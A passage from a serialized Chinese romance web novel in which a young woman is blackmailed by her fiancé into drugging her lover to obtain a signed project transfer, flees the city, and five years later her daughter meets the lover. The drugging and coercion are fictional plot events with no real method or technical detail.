她不再多看安乔乔一眼,径直朝着公司大门走去。
漂亮的小白鞋鞋,步子铿锵,走出大小姐的架势。
安乔乔从震惊中回过神,快步追了上来,一把拽住她的胳膊:“这不是你该来的地方,安糖糖!”
安糖糖脚步一顿。
眼神锐利像要刀了谁一般。
安乔乔不自觉地松了手,“我知道你是个不讲理,这里公司,有什么事情,可以回家再说。”
“你给我滚远一点,我来取回属于我的东西,你最好不要惹我……”她一字一句,清晰冰凉,“……否则,下次,我的巴掌,可不会客气。”
安糖糖目的很明确,那就是,汤怡办公室里的那个保险箱。
她要拿到母亲的遗物。
几分钟后,安糖糖径直推开了汤怡办公室的门。
这里曾是她母亲的办公室。
可她这个亲生女儿,从记事以来,就没有到过一次。
空气里,有不现实却又属于母亲的气息在。
她知道,是自己的妄想。
主人变了,这里的一切,从骨子到外在,都变了。
汤怡正坐在宽大的办公桌后,看向安糖糖这不请自来。
保养得宜的脸上,浮上一层寒意,“你怎么跑到这儿来了?”
她声音抬高,带着毫不掩饰的斥责。
“这是你该来的地方吗?”
安糖糖缓缓抬起眼。
目光桀骜,却透出鄙夷。
眼前的女人,穿着剪裁利落的高级套装,珠宝点缀得恰到好处。
真的是,好一副又美丽又干练的女强人模样。
不知底细的,真以为她是白手起家的。
孰不知,她就是一个小偷。
安糖糖没心思与她拐弯,开门见山:“我妈留下来的保险箱呢?”
“你母亲的东西,怎么会在我这里?”汤怡端起长辈的架子,语气带着教训,“糖糖,你什么时候变得这么不懂事了?这里是公司,不是你胡闹的地方,赶紧回去。”
“公司?”安糖糖像是听到了什么笑话,“这公司是你的吗?这原本是我母亲的心血!我来拿回属于我母亲的东西,不是拿你的,你有什么资格赶我走?”
话音未落,她将手中的包重重往汤怡昂贵的办公桌上一放,开始四下搜寻。
她动作利落,翻查着文件柜和储物格。
安乔乔想上前阻止,却被安糖糖一个凌厉的眼神钉在原地。
“离我远点,不然别怪我的巴掌不认人。”
汤怡脸色铁青,面对安糖糖的不礼貌,她似乎也没有更好的办法。
强压下怒火,“行了!别找了!我给你拿。”
她转身走向靠墙的一个嵌入式柜子,从里面抱出一个四四方方的银色小保险箱,重重放在桌上。
“你说的是这个吧?密码我们不知道,你拿走就是。”
汤怡语气生硬。
安糖糖要带走它,但在离开前,她必须确认里面的东西。
她上前一步,输入了自己的生日。
“咔哒”,保险箱应声开启。
然而,里面空空如也。
安糖糖的瞳孔收紧。
预料之外,又似乎之中。
她抬头,杀人般的语气,像是从牙缝里挤出来:“我妈的东西呢?!”
“你母亲的东西,我们怎么会知道?”汤怡摊开手,做出一副无辜又无奈的样子,“密码只有你知道,难不成你觉得,是我拿走了你母亲的东西?”
“不是吗?”安糖糖咬着牙,像要吃人,“你敢说,你没有动这里面的东西?还是你敢说,这个密码你真的不知道?汤怡,今天不把我妈的东西交出来,这间公司,你也甭想要了。”
汤怡气得脸色发青。
这小丫头从小就不好惹,无理还争三分,得理能饶得了人?
她顿了顿,“好了,别闹了,我告诉你便是,这里面的东西,被程节拿走了,他是你的未婚夫,你只管向他要好了。”
安糖糖凝眉,程节?
还真的被他拿走了?
安糖糖当着汤怡的面,给程节打了个电话,“我妈保险箱里的遗物,你拿走了?”
手机那头的男人。
唇上叼着一要雪茄,风轻云淡的,“不是白拿,是花了大价钱买走的,我说了糖糖,等我们结婚了,我会把东西全部送给你,我说话算话。”
“如果我现在就想要呢?”安糖糖不喜欢程节这样的态度,“那是我妈的东西,你有什么权利拿去?你们有什么权利去交易?你们到底还是不是人?”
安糖糖指尖颤抖。
后槽牙,咬出血来,“你现在在哪儿?”
“我在公司。”
挂断手机。
安糖糖一刻也没有留,直接去了程节的公司。
这是她第一次来公司,但公司里的每个人,似乎都认得她。
“程太太好。”
“程太太您来了。”
“程太太……”
她回避不了这样的称呼。
却又极为讨厌这样的称呼。
程节总裁办的门开着,秘书就站在门口,像是很隆重地迎接安糖糖的到来。
程节染着岁月痕迹的脸上,总是挂着令人捉摸不透的笑。
安糖糖站在门口。
步子顿下,“程先生。”
“进来糖糖,有什么事情,咱们慢慢聊。”程节示意秘书出去,将门关好,“来。”
安糖糖动步,走到了程节的面前。
他将唇上的雪茄拿掉,摁灭,微笑着握住她的肩,“怎么?生气了?不是说了,所有属于你的东西,我都会给你的,你还不相信我吗?”
“你说的是结婚后,而不是现在。”安糖糖漂亮的眸子,紧紧的盯着他的瞳孔,“程先生,我妈公司的股份,你为了利益可以购买,但是我妈的遗物,你买去,只是为了让我跟你结婚吗?”
“糖糖,我们是未婚夫妻,结婚不是近在眼前的事情吗?”他握着她肩的指手,微微收紧了一些,“你怎么了?不想跟我结婚了?”
第334章 我也不是非你不可
安糖糖是想说的。
她不想跟他结了,她有了喜欢的人。
还没等她动唇,程节便又微笑着开了口,“糖糖,如果你现在跟我解除婚约,你们安氏所有的项目,就得暂停,当然,你可以不在乎这些,但**公司,**遗物,这辈子你都拿不到了,你也甘心吗?”
程节的话更像是威胁。
安糖糖不懂。
在江城,想嫁给程节的人很多。
年轻貌美的,也不在少数。
为什么他就是卯上她了,“我不懂,程先生。”
“说说看。”他唇角依然挂着,令人捉摸不透的微笑。
安糖糖深呼吸,“我不懂,你为什么非要跟我结婚?还设下了这么多,我不得不为的威胁,何必呢,江城比我强的,青睐程先生的名门淑媛,不是由着你挑选吗?”
程节指尖轻轻地蹭过安糖糖的小脸。
微微俯身,“本来,我也不是非你不可,可我发现,你胆子大到,订了婚,还背着我勾搭别的男人,你说我……怎么咽得下这口气?”
安糖糖眼眸收紧。
不确定的,“仅仅是这个?”
“男人嘛,最恨被戴绿帽子,况且,你还明目张胆地给我戴绿帽子……”他的指腹轻轻地滑到她的下巴处,握住了她的脖子,“……安糖糖,我们的订婚宴,全城尽知,你在外面偷人,不嫁我了,你让我怎么下得了台?”
“我,我可以赔你钱。”安糖糖被攥得呼吸困难,“况且,程先生不也是夜夜笙歌吗?被你带回家的女人,应该也不止一个,我们两个都不是什么好东西,何必计较谁戴绿帽子的问题。”
程节大笑。
松手放开了安糖糖,“看来,你对我的底细,也调查得很清楚。”
“我没有兴趣调查任何人,但是对于程先生你,我得有足够的证据,自保。”安糖糖往后退了一步,“既然是坦白局,我想,程先生应该知道,我要的只是属于自己的东西。”
“东西这玩意,在谁手里,就是谁的。”程节为人狡猾,他拿到手的,就会物尽其用,“不过,如果你想要,我也可以给你,如果你不想跟我结婚,我也可以答应你,但,你得给我,我想要的,明白吗?”
程节说的无非就是交换。
“你想要什么?”安糖糖并不觉得,自己还有什么被交换的,“直接说吧程先生。”
“说服裴啸放弃他目前手头上的项目,转让给我,事成后,我可以把你母亲的遗物送给你,我也可以取消婚约,给你留一个好名声。”
他一副胜券有握的得意。
似乎安糖糖并没有得选。
安糖糖已经背刺过裴啸,这次,她是不会做这种事情,“你死心吧,且不说我不会劝他放弃,就算我劝,他也不会听我的,你以为我在他眼里有多么重要?程先生,你高估我了。”
“当然。”程节拿了支雪茄,重新点燃,递到唇深吸,“我知道,以你的本事,可能无法劝动裴啸,我可以帮你。”
“你怎么帮我?”安糖糖蹙眉。
程节拿出一瓶无色无味的药,放到了安糖糖的面前,“这种药服用后,会特别听话,你让他做什么,他就会做什么,这样,是不是就容易多了?”
安糖糖震惊。
上次让她偷标书,这次竟然让她给裴啸下药。
“我不会做的。”她拒绝。
程节无所谓地耸了耸肩,从容地拉开抽屉,取出一张泛黄的照片。
“这个小宝宝,应该就是你吧。”
他的语气轻描淡写,眼神却落到照片上。
照片上,眉眼温柔的年轻女子,正含笑注视着怀中咿呀学语的小女孩,阳光洒在她们身上,定格岁月温暖。
安糖糖一眼就认出了那个小小的自己。
她有一张一模一样的单人照,却从未见过自己与母亲同框的模样。
这张照片,是她记忆里缺失的,又很重要的那一部分。
她下意识伸手去夺,程节却轻巧地避开了。
他嘴角噙着一抹玩味的笑,不紧不慢地掏出打火机。
“咔嚓”一声,幽蓝的火苗窜起。
泛黄相纸,被点燃……
“你干什么?!”
安糖糖瞳孔骤缩,声音震惊发紧。
橘色的火焰迅速蔓延,吞噬了女子的笑靥,吞噬了孩子的天真,将安糖糖从未亲身感受过的温情化为灰烬。
程节看着最后一点火光熄灭,指尖一松,任由跌落。
“既然你也不想要这些东西了,”他拍了拍手,语气淡漠得令人心寒,“我何必
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留着呢?这些陈年旧事,与我又有什么关系?”
“你……”
安糖糖心痛极了。
她伸手去接那捧灰白的灰烬。
那极可能是她与母亲唯一的一张照片。
可是没有了,什么也没有了。
“……你怎么可以这么残忍。”
“糖糖。”程节伸手握住安糖糖的肩,轻轻柔柔又满是威胁,“我也不想这样做,可你就是不听话啊,不听话,就是要付出代价的。”
“如果我不肯给裴啸下药,让他签下转让项目的合同,我妈留下来的所有东西,你都会毁掉的对吗?”
她眼眸轻颤着。
她想在他的眼中,看到否定。
可他还是很确定地点了头,没有丝毫的犹豫,“当然。”
他根本没有给她商量的余地。
安糖糖很痛苦。
她不能再害裴啸了。
可她又不想失去母亲的留下来的遗物。
“我能考虑几天吗?”
“当然。”程节抬手整理着安糖糖散碎的头发,“糖糖,你要尽快考虑哦,一天我烧一件,要是考虑得太久了,东西就烧光了。”
“你……”她愕然,怎么会有人,如此的没有人性,“我都答应考虑了,为什么你还要一天烧一件?程节,做人可不可以别这么卑鄙?”
程节抬腕看了眼时间。
无奈,“有钱人的时间就是金钱,而且项目开工在即,不抓点紧,不行啊,糖糖,你会体谅我的对吗?”
安糖糖一直觉得程节城府很深。
但她没有想到,他不仅城府深,腹黑还无情。
为达到自己的目的,完全不把别人当人看。
“所以,你现在是在逼我,立马答应你的要求?”
“怎么会呢糖糖。”程节一副很为难的样子,“以我们的感情,我当然是想给你足够的时间考虑,但我身不由己,如果你肯快一点答应,我们之间一笔勾销的也能快一些……”
他的指尖在她的小脸上画着轮廓,“……你也好跟你心爱的男人,双宿双栖了,不是吗?”
安糖糖涩笑。
如果她给裴啸下药。
她和他,就永无回头之日了。
是母亲的遗物重要,还是裴啸重要?
她到底要怎么选……
第335章 她终究放弃了裴啸
程节像是忽然想起什么,指尖在桌面上轻轻一点。
“对了,你母亲的遗物里,似乎还有个笔记本。”程节耸耸肩,像是在加码,“上面零零散散记了些她的……心事。”
他故意顿了顿,欣赏着安糖糖紧绷,无措的表情,慢条斯理地:“好像,还提到了她的死因。”
安糖糖的小脸,慢慢地泛起白。
指尖猛地掐进掌心,尖锐。
在爱情和死去的母亲之间,她终归要做出选择。
天平,摇晃。
最终是要倾斜。
“程先生为人处世,向来如此吗?”她几乎是从齿缝里挤出这句话,“靠威胁来达到目的,践踏别人的软肋,真的能让你获得巨大的愉悦?”
程节好整以暇,唇边噙着,一抹万物皆在掌控之中的笑意。
“糖糖,没人逼你。”他语调平稳,却带着冰冷的穿透力,“摆在你面前的只有两条路。跟我结婚,你母亲的遗物和真相,我原封不动地还给你。或者,去拿到裴啸的项目转让书,你同样能得到你想要的一切。”
他的目光很软,却锐利如刀,不容置喙地看着安糖糖这张,没有血色的小脸,“你总不能让我赔了夫人又折兵吧,可怜一下老人家了。”
一股腥涩涌上安糖糖的喉咙。
嫁给眼前这个男人?
绝无可能。
有些决定一旦做出,便再无法回头。
短暂的死寂后,她终于找回了自己的声音:“好,我答应你。我会拿到裴啸的项目转让书。”
二选一的难题,她终究放弃了裴啸。
程节脸上终于露出了满意,他将小药瓶推到她面前:“那么,祝你成功。”
安糖糖记不清自己是如何离开那间办公室的。
外面的天色已经擦黑,街灯次第亮起,路人行色匆匆。
她站在喧嚣的街头,却只觉得四周空茫一片……
……
安糖糖没再回裴啸的住处。
她不知道该如何面对他。
说出实情吗?
有什么用呢,他能帮得了什么?
现在把控全局不是她,是程节。
裴啸没有做错过什么。
而她却一次又一次地……
再次伤害他,似乎已经是板上钉钉的事情,她无助也好,怨恨也罢,已然无法改变事情的走向。
目前,她需要寻找的是最佳的机会。
晚上。
她一个人躲在房间里,喝了些酒。
细嫩的指尖在电脑的键盘上敲打着什么。
她在做一款程序。
完成后,她关了电脑。
连续几天的宿醉让安糖糖头痛欲裂。
她冲了个热水澡,洗去一身酒气和浑噩。
下楼时,父亲安初平正坐在餐桌前,看到她,不免有一些斥责,“小小年纪不学好,天天喝得烂醉如泥!你就不能学学乔乔,懂事一点?”
“学她什么?”安糖糖拉开椅子坐下,拿起一片面包慢条斯理地涂着黄油,“学她考试作弊?还是学她品行不端被学校劝退?真抱歉,我恐怕学不来,我可是高才生,是全校最优的成绩毕业的。”
“你……!”安初平猛地将筷子拍在桌上,“你现在是越来越缺乏管教了!除了顶嘴,你还会干什么?”
“没妈的孩子就是这样喽。”安糖糖放下只咬了一口的面包,站起身,声音平静得听不出情绪,“你就多忍忍吧。”
她抓起背包转身就走。
安初平在她身后厉声:“你又要去哪儿?”
“去做点……有意义的事。”
安糖糖离开了家。
她是没有勇气直接找裴啸的。
兜兜转转的。
在裴氏集团楼下徘徊了整整一天。
直到,日光逐渐西斜。
下班的人潮渐渐散去,她才终于鼓足勇气,走进了电梯。
总裁办公室所在的楼层很安静。
她打听了,这几天大家忙着准备项目开工前的工作,天天都工作到很晚。
今晚,或许是她最后的机会。
站在厚重的木门前,安糖糖深吸一口气,刚要抬手敲门,门却从里面被拉开了。
严特助走了出来,见到安糖糖,惊讶:“安糖糖?你怎么会来这里?”
“我来找裴总,”安糖糖侧身,目光越过严特助,往办公室里望了一眼,“有点事情想和他谈。裴总……他在里面吧?”
“裴总在,但他工作一天了,你有什么事情,尽量快点说,他也需要休息。”
严特助透出对裴啸的心疼。
安糖糖忙点头,“你放心吧,严特助,我不会打扰太久了。”
“去吧。”
安糖糖推门走进了总裁办。
她的步子极轻,像是怕惊扰到正在工作的男人。
“裴啸哥哥。”
裴啸抬眸,看到安糖糖有一些意外,“你怎么来了?”
“我好多天没有见你了,我有点想你了。”她背着小手,脸上是甜腻的笑,“你有没有想我啊?”
“最近很忙。”
他放下手中的笔。
抬手捏着眉心,很是疲惫的样子,“你吃过晚饭了吗?”
“你饿了?”安糖糖拿出手机,准备给他订餐,“想吃哪家的,我来订。”
“我不饿,一会儿喝杯咖啡就好了。”
“裴啸哥哥,我帮你捏捏肩吧。”安糖糖很殷勤,绕到裴啸的身后,给他揉捏着肩部,“工作也不是一天就完成的,累了就休息嘛,你要累病了,我可是要大大地心疼的呦。”
他握着她的小手,将她抱在怀里。
小姑娘软软香香的。
他感觉到很安稳。
“等项目启动,就轻松了,没事,我顶得住。”
“不行。”她搂着他的脖子,“你要休息一会儿,天天加班,谁受得了。”
裴啸微笑着。
有人心疼的感觉,还是挺幸福的。
“这几天忙什么了?”他问。
安糖糖心口泛苦,面上却依然是甜美微笑,“想你啊,想跟你……”
她凑到他的耳边,声音小小的如羽毛一般,“……想跟你做。”
裴啸笑了。
大手握着她的腰,笑话她,“你脑子里就没别的事了?”
“因为我爱你啊。”她看着裴啸的脸,在他的唇上吻了吻,“裴啸,我真的好想给你生个孩子啊,不过,比起生孩子,我更希望,有一天,你能风风光光的将我娶回家。”
“这么想嫁人?”他轻抚着她的长发,“像你这么大的小姑娘,不都是不婚主义吗?”
“因为她们没有遇到爱的人啊,我遇到了,所以我就想早早地嫁给你,相夫教子。”安糖糖搂着裴啸的脖子,哼哼唧唧的,“哥哥,我想要……”
第336章 下药了
裴啸抱着安糖糖,去了休息室。
她搂着裴啸的脖子,跟他接吻。
让她最后再好好吻他一次。
以后,他们注定不会再有结果了。
情到浓时,他将手伸向抽屉。
她将他的手握住,十指紧扣,在他耳边说,“安全期。”
他毫无保留地释放。
她心满意足地承受着他的爱。
安糖糖的眼角有泪滑落,这次,真的是最后一次了。
完事后。
裴啸靠在床头上吸烟。
安糖糖从他的唇上将烟卷抽走,“少抽烟,对身体不好,我去给你冲杯咖啡,解解乏。”
他宠溺地揉着她的头发。
满是温柔,“好。”
安糖糖套了裴啸的衬衣在身上。
两条细长的腿,笔直细嫩。
看得他喉结滚动。
年轻主动的女孩,确实有足够的吸引力。
安糖糖赤着小脚,走出休息室,去了咖啡机前。
机器工作的时候,她不安地回头看了休息室一眼。
人在做坏事的时候。
通常是紧张和焦虑的。
安糖糖也不例外。
她将小手伸进包里,拿程节给的药时,拿了好几次,才拿出来。
“对不起裴啸,我想拿到我母亲的遗物,我也想知道她的死因,我也没有办法,你恨我吧裴啸,我接受你的恨意。”
她小声地呢喃着。
像是在说服自己。
呼吸,再呼吸,深呼吸。
指尖依然在颤抖。
热气腾腾的咖啡加上强劲的药物,她太知道,一会儿会发生什么了。
“裴啸哥哥,给。”安糖糖换上娇俏的模样,将咖啡端到他的面前,“我亲手冲得哦,赶紧趁热,喝到肚子里暖暖的。”
裴啸对安糖糖没有防备。
端起咖啡喝了一口。
“味道不错。”
“应该是你的咖啡机不错。”安糖糖靠在裴啸的胸膛上,紧紧的,“裴啸哥哥,你说你以后会娶个什么样的女孩,当老婆啊?”
他笑着将咖啡放下,“怎么,不想嫁给我了?”
“那你会娶我吗?”
她望着他的眼睛。
此刻的他,或许会说,会的吧。
今天过后,他一定不会再说这种话。
在裴啸要动唇的时候,安糖糖指尖捂住了他的嘴,“以后告诉我吧。”
她再次端起咖啡,递到了裴啸的唇边,“看在我做的这么好喝的咖啡的份上,要不要再来一口。?”
“好。”
他一口气将咖啡喝光了。
安糖糖指尖抖得厉害。
放咖啡杯的时候,险些碰倒。
程节跟她讲了,这药喝下去,十分钟内,就神智不清,完全听话,不管她要求他做什么,他都会照办。
哪怕……
哪怕是让他从这楼上跳下去。
他也会跳的。
安糖糖的心被扯的破碎不堪。
裴啸很快有了反应。
眼前变得模糊。
他晃了晃脑袋,眼神涣散的,看向安糖糖,“我怎么,突然……”
“裴啸哥哥……”
“裴啸……”
“裴啸哥……”
裴啸坐在床边,没了反应。
安糖糖赶紧拿出事先准备好的合同和笔,递到了他的面前,“裴啸,签上你的名字。”
裴啸很听话。
他无意识且没有反抗的,将自己的名字签上。
安糖糖跑去拿了公章。
一切出乎意料的顺利。
毫无重量的合同,在安糖糖的手中,却有千斤重。
“裴啸哥哥,对不起,你好好休息……”
她将他的身子放下平躺好,在他的唇上吻了一下,“对不起裴啸,你恨我吧,我以后再也不会让你见到我了,我对不起你,我会去赎罪,但我真的爱你,我没有骗你。”
安糖糖哭了。
眼泪落到裴啸的脸上,他不适的动了动眼皮。
安糖糖穿好衣服,背起包,像个小偷似的,走了出裴啸的办公室。
走到电梯口时,她不小心撞上了严特助。
“安糖糖,你怎么还慌慌张张的,跟裴总谈过事情了?”
安糖糖混沌的看向严特助,“啊?啊,是,你们裴总,身体不太舒服,你,你去看看他吧。”
“不舒服?”
严特助质疑的目光在安糖糖的身上,停留了那么几秒后,便快步走向了总裁办。
安糖糖摁电梯,下楼。
以最快的速度,离开了裴氏。
这份项目转让书,像烫手的山芋,她需要赶紧拿去跟程节交换。
她已经想好了。
拿到母亲的遗物,她就离开江城,至于母亲的公司,等她哪天变强大了,她会拿回属于自己的东西。
现在的她,只想逃。
……
程节看着安糖糖的这份项目书。
很是满意。
他自然也
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没有食言,将她母亲的遗物,如数交给了她。
“糖糖,你真的很棒,真的不考虑留在我身边吗?”在程节的眼里,安糖糖这种人,是没什么感情的,“我还以为你爱裴啸爱疯了呢,看来,还是爱自己多一点。”
安糖糖小脸寒凉。
此时此刻,只有她自己知道,她的心是不跳动的。
“程节,你不可能永远威胁到我,等我下次回江城,我会拿回属于我自己的东西,谁也拦不住。”
程节微笑着点头。
安糖糖甜美外表下,确实有一股子狠劲。
他很期待。
“为了个男人,真的要离开江城?没必要吧?”
“我爱他程节,你根本不懂什么是爱,你根本不懂伤害了爱的人,心里的感受,你什么也不懂,你无情无爱,你就像个赚钱的机器,谁嫁给你,都不会幸福的。”
安糖糖用一种悲悯的眼神,看着程节。
唇角更像在讥讽他,是个可怜人。
程节不知道哪根筋,怎么的,就被触动了。
一瞬间脸色也沉也下去,“你说的没错,我这辈子都不会得到别人的爱了,但我不后悔。”
“跟你的钱,过去吧。”
安糖糖拿走了属于自己的东西。
母亲的遗物里,有很多。
她一件不留的装进了行李箱里。
离开江城,她没有跟任何人道别,机票订的是一大早的。
她往裴啸的邮箱里,发了一封邮件后。
便动身前湖市。
湖市在祖国的版图上,是一个不起眼的存在,更不起眼的是一个叫明月镇的地方。
安糖糖准备在这儿定居,养精蓄锐,十年后,她会回江城拿回属于自己的一切。
十年的时间。
裴啸早已经有妻有儿,足够忘记她对他的伤害。
或许,那时,他会跟她一笑抿恩仇了,也不一定。
安糖糖希望是这样的。
但她知道,自己根本不值得原谅。
飞机起飞。
……
江城开始动荡。
程节拿到了裴啸亲自签名的转让项目书。
将在竞标中,裴氏的项目,全部接管。
裴啸因为此事,在董事会上,被裴敬之打了几巴掌。
大喊着将他逐出裴氏。
剥夺他继承裴氏的权利。
元老们,也都很不理解裴啸的所作所为。
只有他自己知道,发生了什么……
第337章 我没有爸爸
五年后。
一个明媚的女人,一个漂亮活泼的小姑娘。
大女孩,牵着小女孩的手,在菜市场上,精心挑选着今天晚上的食材。
“妈妈,我想吃小蘑菇了,幼儿园的小朋友说,吃了小蘑菇,就可以看到很多,平日里看不到的东西。”小姑娘满眼的期待,“听说,那是一个特别的世界。”
安糖糖哦了一声,“比如说,他们……看到了什么?”
“他说看到了一只紫色的小青蛙,跟他说,他家的小花狗生了一只小猪崽,还是粉色的,让他去给小粉猪喂巧克力,妈妈,我好想看看是什么样的小狗,能生一只,爱吃巧克力的粉色小猪崽。”
安糖糖摸着下巴。
故作沉思地说,“那万一,你吃了小蘑菇,没有看到爱吃巧克力的粉色小猪崽,而是看到你的老师长了一只狗头,或是一条**蛇的身子,冲着你龇牙咧嘴的,要请你喝奶茶,你还好奇吗?”
小姑娘有点被吓到了。
含着水汽的眸子,巴巴地眨了两下,“不会的吧?”
“那可不好说。”
“哦,那果冻不要吃小蘑菇了。”
安糖糖得意的笑笑。
抬眸。
一个身形高大的男人背影。
她看得出了神。
五年了,每次看到和裴啸差不多身材的男人,她都会走神很久。
小果冻问起爸爸是谁时。
她连一张裴啸的照片都没有。
江城的新闻,自从她离开后,就没有再打开过,她怕得厉害,怕听到一切关于他的消息。
可她又疯狂地想知道,关于他的一切。
“妈妈,妈妈,你怎么又走神了。”
“妈妈没走神。”安糖糖收回视线,低头跟女儿说话,“妈妈在想,晚上吃什么,既营养,又不长胖呢。”
“菜菜。”
“也不能吃素啊,要吃肉的,咱们去买牛肉吧。”
“好呀。”
安糖糖牵着小果冻的手,转身往菜市场深处走。
不远处。
那个身形高大的男人,弯身坐进了豪车里。
严特助递上一份开发案,“裴总,真的要在这儿开度假村?我看这儿挺落后的,咱们会不会亏本啊。”
“天然的温泉,民风淳朴,现在的人都想离开城市,到一处有山有水,空气好,环境静谧的空间来放松自己,所有的条件,这儿都符合,不会亏本的。”
裴啸看着计划书。
车子启动,缓缓往前开去。
突然,一脚急刹,裴啸和严秘书都被惯性带的往前一冲。
“什么情况小李?会不会开车啊,差点撞到裴总的头。”严秘书怒斥司机。
司机忙道歉,“不好意思裴总,严秘书,前面突然冲出来一个小孩子,我不得不刹车。”
车前的小姑娘,哭得哇哇的。
司机上前问她,她也不说话,只知道哭。
裴啸推开车门,走了下去。
小姑娘擦着泪,看向他,突然不哭了。
裴啸看她,她看裴啸。
“哇……”
裴啸被她吓了一跳,“是不是伤到哪儿了?小朋友?是哪里疼啊?叔叔带你去医院好不好?”
小姑娘突然冲他伸出手。
漂亮的大眼睛眨着,长长卷卷的睫毛上,都是水珠,“要抱抱。”
裴啸以前,不怎么喜欢小孩子的。
也可能是现在年纪大了。
见到这种小肉团子。
他脾气出奇的好,伸手将小姑娘,抱进了怀里。
小姑娘哭的鼻涕眼泪的流,擦一把,往裴啸高档的手工西装上抹一下。
看严秘书,直犯嘀咕。
一直洁癖的总裁,怎么也不嫌脏了呢。
裴啸抱着小姑娘上了车。
“先回酒店吧,一会儿问问她家里人的联系方式,让他们来接,免得在这路上横冲直撞的,很危险。”
严秘书忙点头,对着司机说,“先回酒店。”
……
安糖糖提着刚称好的牛肉从菜市场出来。
一抬头,小家伙,又没影儿了。
是的。
**又**,**双**,**叒**,不见了。
安糖糖站在原地,目光在熙攘的街口扫了一圈。
这小丫头,八成是又被哪个小帅哥迷花了眼,故技重施,碰瓷去了。
她深呼吸。
不气不气,好色这点,是毫无疑问地遗传了她。
气不得,气不得。
安糖糖掏出手机,点开她精心设计的定位软件。
地图精准缩放,代表着女儿胖乎乎的头像,正在闪烁着她的位置。
大概是习惯了,安糖糖也并不着急。
这里民风淳朴,很少遇到坏人,她给女儿发了条信息。
“果冻小朋友,以后能不能矜持一点?见到漂亮小哥哥就往上扑,你这样,很没有礼貌哎。”
一个白白软软的汤圆团子表情包蹦了出来,正贱兮兮地扭着身子,配着“嘻嘻”两个字,狡
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黠又得意。
安糖糖扶额。
别看小果冻才四岁,小人精一个。
看情况,跟她猜的差不多。
安糖糖心里有了底。
决定先去街头上新开的甜品店,喝个下午茶,再去把女儿接回来。
……
酒店里。
小果冻一直抱着裴啸的脖子,盯着他看,严特助想抱下她来,她也不肯。
“我脸上有什么?”裴啸很温柔。
严秘书笑着调侃了句,“你别说这小丫头,长得跟您还挺像的,不知道的,还以为你们是父女呢。”
说完。
他立马后悔了。
“裴总,我就是随便那么一说。”
裴啸没往心里去。
被安糖糖摆了两道,他对女人,已经彻底失去了信任。
他这一辈子都不可能有孩子了。
“我哪有这个福气。”
“您也别这么说,您现在是正当年,想要结婚是分分钟的事情。”严秘书急忙说。
裴啸笑着,看向怀里的小姑娘,“不结了,我这个人跟女人天生犯克,是吧,小丫头。”
“叔叔。”小果冻抱着裴啸的脖子,很认真地说,“等我长大了,嫁给你好吗?”
“你长大了呀?你才几岁啊,等你长大了,叔叔可就成老头了。”裴啸脸上是温柔又耐心的光泽。
小果冻掰着指头算数,“我现在四岁,再有十四年吧,很快的,叔叔,你等我长大好不好?”
严秘书跟着笑了起来,“小姑娘长大了,可是个小美人。”
裴啸将她放下,给她倒了杯水喝,“把你爸爸的联系方式,给我,我打电话让他过来接你,好不好?”
小果冻捧着热水。
开始啪嗒啪嗒地掉眼泪,“叔叔,小果冻很可怜的,从小就没有爸爸。”
这话任谁听了,都是一阵心酸。
裴啸心疼给她擦泪,“怎么会没有爸爸呢?你爸离婚了?还是……”
“我从出生就没有见过爸爸,妈妈说,爸爸**。”小果冻哭得越发的厉害,趁机又搂上了裴啸的脖子,“叔叔,你不娶我,你就当我的爸爸吧。”
裴啸哭笑不得,“爸爸怎么能随便当呢,那你把妈妈的联系方式,给我好不好?”
“我妈妈她……”
小果冻一声叹息。
裴啸:……
严特助:……
二人表情一致,不会是又有什么情况吧?
“小姑娘,你妈妈她……又怎么了?”
第338章 爸爸很帅很帅,我很满意
小果冻的小脑袋摇得像拨浪鼓。
小眉心皱得很夸张,奶声奶气的:“我那个妈妈呀,是个超级花痴!她就喜欢看年轻好看的小哥哥,经常不管我的……我有妈妈和没有妈妈,好像也没什么区别……哇……”
似是想起了委屈,零帧起步,直接哭。
演得跟真事儿似的,眼泪珠子收也收不住。
“妈妈只要小帅哥,不要果冻了……果冻好可怜呀,没人要了……”
严特助在一旁听得目瞪口呆,嘴角微抽。
……这得是什么样儿的妈呀?
他脑海里瞬间闪过一些不太好的猜测,忍不住压低声音对裴啸嘀咕:“裴总,这小姑娘也太可怜了,爸爸死了,妈妈又是这样不管不顾的,她妈妈该不会是……‘特殊职业’吧?”
“别乱讲。”裴啸厉声,“在孩子面前,注意你的言辞。”
“是,知道了。”严特助立刻闭嘴。
就在这时,小果冻手腕上那只粉色智能手表“嗡嗡”地响了起来,屏幕亮起,跳动着妈妈的头像。
小家伙明显心虚了一下,手忙脚乱地直接长按侧键关了机。
她仰起还挂着泪珠的小脸,眼巴巴地望着裴啸,双手合十,声音软糯地求:“叔叔,我……我今晚可以在你这里住一晚上吗?就一晚上!明天一早,你送我去幼儿园就好了,可怜可怜小宝宝吧?”
小果冻太会演了。
再加上她又白又漂亮的小肉脸。
很具有蛊惑性。
裴啸看着这个小人儿,实在为难,“你妈妈联系不上你,会非常着急的。叔叔送你去警察叔叔那里,让他们帮你找妈妈,好不好?”
“不要!我不要警察叔叔!”小果冻用力摇头,两只小胳膊紧紧搂住裴啸的脖子,“我就要叔叔!我就要住在这里!”
被一个软糯的小姑娘,这么的依赖和信任着,裴啸心里最柔软的地方被轻轻触动了。
他实在硬不起心肠拒绝,最终妥协:“好,好,那今晚就在叔叔这里住下,明天一早送你去幼儿园。”
“叔叔你最好啦!”小果冻瞬间破涕为笑,“吧唧”一口,亲在了裴啸的脸上。
裴啸从来没有被小孩子亲吻过。
包括霍时序家里那三个。
奇异而温暖。
小果冻看着眼前的裴啸,细细打量。
这个叔叔给她的感觉,和以前见过的那些好看的小哥哥都不一样。
他身上的味道很好闻,怀抱也很安稳,她好想搂着他睡觉呀。
就像,就像她想象中爸爸的感觉。
别的小朋友都有自己的爸爸,她到底什么时候,能有自己的爸爸呀。
妈妈也是个不争气的。
……
安糖糖听着手机里又一次传来的“您拨打的电话已关机”的提示音,眉头蹙起。
她只能再次确认手机上的定位。
湖市的某个六星级大酒店。
距离她这个明月镇,差不多有二十公里的路程。
这小丫头,胆肥了,敢跑出去那么远。
她打了车,快速朝酒店方向去,心里七上八下犯起嘀咕,不能遇到坏人吧?
坏人应该住不起六星级的酒店。
那里的最便宜的房间,一晚上也得将近十万。
如果是坏人,完全没必要下这么大的血本。
应该不是坏人。
她深呼吸,强迫自己停止毫无逻辑的想象。
不会的,不会是坏人。
一定是好人。
很快。
安糖糖找到了酒店,按照定位,找到了所在的楼屋。
夜深人静的。
整个走廊都静悄悄的,只有送餐机器人,发出一些细微的声音。
“1108房,是这间了。”
安糖糖摁响了门铃。
裴啸起身去开门。
门打开。
四目相对。
安糖糖直接傻掉。
